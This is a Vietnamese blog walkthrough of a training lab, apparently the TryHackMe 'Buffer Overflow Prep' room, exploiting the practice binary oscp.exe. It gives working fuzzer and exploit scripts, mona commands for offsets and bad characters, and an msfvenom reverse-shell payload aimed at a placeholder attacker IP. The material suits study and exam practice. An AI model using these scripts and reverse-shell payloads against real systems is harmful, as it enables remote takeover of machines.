Advertisement

Responsive Advertisement

Buffer Overflow Prep Task 1+2

 

Task 1: Chuẩn bị

Khởi động máy ảo, remote tới máy ảo

rdesktop ip_may_victim

Task 2  oscp.exe - OVERFLOW1

Nhấp chuột phải vào biểu tượng Immunity Debugger trên Desktop và chọn "Run as administrator". 

Khi Immunity tải, hãy nhấp vào biểu tượng tệp đang mở hoặc chọn File -> Open. Điều hướng đến thư mục ứng dụng dễ bị tổn thương trên màn hình của người dùng quản trị, sau đó đến thư mục "oscp". Chọn tệp nhị phân "oscp" (oscp.exe) và nhấp vào "Open".

 


Tệp nhị phân sẽ mở ở trạng thái "paused", vì vậy hãy nhấp vào biểu tượng phát màu đỏ hoặc chọn Debug -> Run. Trong cửa sổ, tệp nhị phân oscp.exe sẽ chạy và cho chúng ta biết rằng nó đang lắng nghe trên cổng 1337. 




Trên máy Kali của bạn, hãy kết nối với cổng 1337 trên MACHINE_IP bằng netcat:

nc MACHINE_IP 1337

Nhập "HELP" và nhấn Enter. Lưu ý rằng có 10 lệnh OVERFLOW khác nhau được đánh số từ 1 - 10. Nhập "OVERFLOW1 test" và nhấn enter. Câu trả lời phải là "OVERFLOW1 COMPLETE". Chấm dứt kết nối.


Mona Configuration
The mona script has been preinstalled, however to make it easier to work with, you should configure a working folder using the following command, which you can run in the command input box at the bottom of the Immunity Debugger window:

!mona config -set workingfolder c:\mona\%p
Fuzzing
Tạo một tệp trên máy Kali của bạn có tên fuzzer.py với nội dung sau:
#!/usr/bin/env python3 import socket, time, sys ip = "MACHINE_IP" port = 1337 timeout = 5 prefix = "OVERFLOW1 " string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)
Chạy tập lệnh fuzzer.py bằng python: python3 fuzzer.py
Fuzzer sẽ gửi các chuỗi ngày càng dài bao gồm toàn là "A". 
Nếu bộ làm mờ làm hỏng máy chủ bằng một trong các chuỗi, bộ làm mờ sẽ 
thoát ra với một thông báo lỗi. Ghi lại số byte lớn nhất đã được gửi. Giá trị con trỏ EIP bị tràn


Crash Replication & Controlling EIP

Tạo một tệp khác trên hộp Kali của bạn có tên là exploit.py với nội dung sau:

import socket ip = "MACHINE_IP" port = 1337 prefix = "OVERFLOW1 " offset = 0 overflow = "A" * offset retn = "" padding = "" payload = "" postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")

Chạy lệnh sau để tạo một mẫu tuần hoàn có độ dài dài hơn 400 byte so với chuỗi đã làm hỏng máy chủ (thay đổi giá trị -l thành giá trị này)

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600


Sao chép giá trị và đặt nó vào biến payload của tập exploit.py.

Trên Windows, trong Immunity Debugger, hãy mở lại oscp.exe bằng phương pháp tương tự như trước đây và nhấp vào biểu tượng phát màu đỏ để chạy nó. Bạn sẽ phải làm điều này trước mỗi lần chúng tôi chạy khai thác.py (chúng tôi sẽ chạy nhiều lần với các sửa đổi gia tăng).

Trên Kali, hãy chạy tập lệnh khai thác đã sửa đổi:  python3 exploit.py

Tập lệnh sẽ làm hỏng máy chủ oscp.exe một lần nữa. Lần này, trong  Immunity Debugger, trong hộp nhập lệnh ở cuối màn hình, hãy chạy lệnh mona sau, thay đổi khoảng cách thành cùng độ dài với mẫu bạn đã tạo:

!mona findmsp -distance 600


Nhận thấy là chưa đủ gây tràn bộ đệm mình đã thử thêm lên đến 2400 ký tự


Thay vào chỗ biến payload như ở trên, chạy lại Mona


Mona sẽ hiển thị một cửa sổ nhật ký với đầu ra của lệnh. Nếu không, hãy nhấp vào menu "Window" rồi nhấp vào "Log data" để xem (chọn "CPU" để chuyển về chế độ xem tiêu chuẩn). Trong kết quả này, bạn sẽ thấy một dòng trạng thái:

EIP contains normal pattern : ... (offset XXXX)


Cập nhật tập lệnh exploit.py của bạn và đặt biến offset thành giá trị 1978 là vị trí tràn bộ nhớ này (trước đó được đặt là 0).
Đặt lại biến payload thành một chuỗi trống. 
Đặt biến retn thành "BBBB".
Khởi động lại oscp.exe trong Immunity và chạy lại tập lệnh khai thác đã sửa đổi. 


Chạy lại trình debug code để kiểm tra.

Thanh ghi EIP bây giờ sẽ được ghi đè bằng 4 B (ví dụ: 42424242). Như vậy là đã xác định 
điểm lỗi để khai thác.
Finding Bad Characters
Tạo một mảng phụ bằng cách sử dụng mona và loại trừ byte rỗng (\x00) theo mặc định. Lưu ý vị trí của tệp bytearray.bin được tạo (nếu thư mục làm việc được đặt theo phần Cấu hình Mona của hướng dẫn này, thì vị trí phải là C:\mona\oscp\bytearray.bin).

!mona bytearray -b "\x00"

Bây giờ hãy tạo một chuỗi các ký tự xấu giống hệt với mảng phụ. Nhằm mục đích thử chèn dữ liệu khai thác. Tập lệnh python sau đây có thể được sử dụng để tạo chuỗi ký tự xấu từ \x01 đến \xff:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()



Cập nhật tập lệnh exploit.py của bạn và đặt biến payload thành chuỗi ký tự xấu mà tập lệnh tạo ra.


Khởi động lại oscp.exe trong Immunity và chạy lại tập lệnh khai thác đã sửa đổi.
Ghi lại địa chỉ mà thanh ghi ESP trỏ tới và sử dụng nó trong lệnh mona sau:
Ở đây của mình là 01ABFA30



!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

Một cửa sổ bật lên sẽ xuất hiện có nhãn "mona Memory comparison results". Nếu không, hãy sử dụng menu Window để chuyển sang nó. Cửa sổ hiển thị kết quả so sánh, cho biết bất kỳ ký tự nào khác trong bộ nhớ với ký tự trong tệp bytearray.bin được tạo.


Ở đây thu được BadChars là 00, 07, 08, 2e, 2f, a0 và a1. 
Không phải tất cả những thứ này có thể là badchars! Đôi khi, các ký tự xấu cũng khiến byte tiếp theo bị hỏng hoặc thậm chí ảnh hưởng đến phần còn lại của chuỗi.

So sáng 2 chuỗi trong file và memory phát hiện badchar ở đây là 07, 2e, a0. 
Badchar đầu tiên trong danh sách phải là byte rỗng (\x00) vì đã xóa nó khỏi tệp. Hãy ghi chú của bất kỳ người khác. Tạo một mảng phụ mới trong mona, chỉ định các ký tự xấu mới này cùng với \x00. 

#!/usr/bin/env python3

from __future__ import print_function

#tart with 00 and add any others you find
bad = "00 07 2e a0".split()

#turns them into a nice string to copy into python
print("badchars = ")
for x in range(1, 256):
if "{:02x}".format(x) not in bad: 
print("\\x" + "{:02x}".format(x), end='')

#creates a nice string to use in Mona
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()


Sau đó, cập nhật biến payload trong tập lệnh khai thác của bạn và xóa cả các ký tự xấu mới.

Khởi động lại oscp.exe trong Immunity và chạy lại tập lệnh khai thác đã sửa đổi. 
!mona bytearray -b "\x00\x07\x2e\xa0"


Lặp lại so sánh badchar cho đến khi trạng thái kết quả trả về "Unmodified". 


Điều này chỉ ra rằng không còn tồn tại badchars nữa.

Finding a Jump Point

Với oscp.exe đang chạy hoặc ở trạng thái bị lỗi, hãy chạy lệnh mona sau, đảm bảo cập nhật tùy chọn -cpb với tất cả các ký tự xấu bạn đã xác định (bao gồm cả \x00):

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"


Lệnh này tìm tất cả các lệnh nhảy "jmp esp" (hoặc tương đương) với các địa chỉ không chứa bất kỳ ký tự xấu nào được chỉ định. Kết quả sẽ hiển thị trong cửa sổ "Log data" (sử dụng menu Cửa sổ để chuyển sang cửa sổ này nếu cần).
Click đúp vào địa chỉ lệnh nhảy đến vị trí của nó

Chọn một địa chỉ và cập nhật tệp exploit.py của bạn, đặt biến "retn" thành địa chỉ, được viết kết nối về máy bạn. Ví dụ: nếu địa chỉ là \x01\x02\x03\x04 trong Miễn dịch, hãy viết nó là \x04\x03\x02\x01 trong khai thác của bạn.



Generate Payload

Chạy lệnh msfvenom sau trên Kali, sử dụng IP VPN Kali của bạn làm LHOST và cập nhật tùy chọn -b với tất cả các ký tự xấu bạn đã xác định (bao gồm cả \x00):

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c


Sao chép các chuỗi mã C đã tạo và tích hợp chúng vào biến tải trọng tập lệnh khai thác của bạn bằng cách sử dụng ký hiệu sau:

payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
...
"\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
"\x19\x53\xd0\x92\x19\x53\x2e\x1d")

Prepend NOPs

Vì bộ mã hóa có khả năng được sử dụng để tạo tải trọng nên bạn sẽ cần một số dung lượng trong bộ nhớ để tải trọng tự giải nén. Bạn có thể thực hiện việc này bằng cách đặt biến đệm thành chuỗi 16 byte "Không thao tác" (\x90) trở lên:

padding = "\x90" * 16

Exploit!

Với tiền tố, giá trị bù đắp, địa chỉ trả về, phần đệm và tải trọng được đặt chính xác, giờ đây bạn có thể khai thác lỗi tràn bộ đệm để lấy một trình bao đảo ngược.

Bắt đầu trình nghe netcat trên hộp Kali của bạn bằng LPORT mà bạn đã chỉ định trong lệnh msfvenom (4444 nếu bạn không thay đổi).

Khởi động lại oscp.exe trong Immunity và chạy lại tập lệnh khai thác đã sửa đổi. Trình nghe netcat của bạn sẽ bắt được trình bao đảo ngược!


Kết quả trả lời

Post a Comment

0 Comments